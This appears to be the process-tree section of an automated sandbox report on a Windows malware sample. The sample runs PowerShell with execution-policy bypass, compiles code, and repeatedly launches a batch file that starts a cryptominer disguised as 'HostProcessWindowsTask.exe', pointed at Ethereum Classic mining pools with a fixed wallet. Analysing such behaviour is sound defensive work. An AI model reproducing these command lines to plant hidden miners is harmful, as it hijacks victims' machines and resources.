      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9616
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9740
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9852
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10056
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:10124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9932
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:10152
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6260
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9248
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4456
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4296
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5216
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:1752
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10088
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9296
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5468
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:176
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9864
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:9736
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10132
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:10168
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6308
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9844
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6592
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:7032
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3332
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:1808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9604
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6420
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:2484
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:7308
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:10044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:10088
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5784
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7204
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7968
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7932
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7252
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8432
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7316
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:1800
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:8432
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5828
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:5696
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10260
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:10308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:10372
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10432
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:10464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:10528
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:10604
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:10656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:10736
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10788
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:10812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:10876
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:11000
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:11028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:11080
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:11148
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:11184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:11256
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7536
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:10356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:10436
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:11012
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:11068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:10620
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10468
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:10792
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7716
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:10144
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:10704
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:8000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7316
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7536
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:11044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7640
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4104
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:11200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:10632
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:11008
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:11136
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:11160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:1304
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:11212
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:10836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:10300
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:6504
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7716
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:9260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:11180
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9380
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:3164
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:9744
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10580
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:10456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:11016
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4196
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6284
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5800

C:\Users\Admin\AppData\Local\Temp\041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
C:\Users\Admin\AppData\Local\Temp\041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:2892
- C:\Users\Admin\AppData\Local\Temp\041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
  C:\Users\Admin\AppData\Local\Temp\041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1876
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\Host Task\dynamic_power.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3200
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pn52y0kv\pn52y0kv.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4772
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
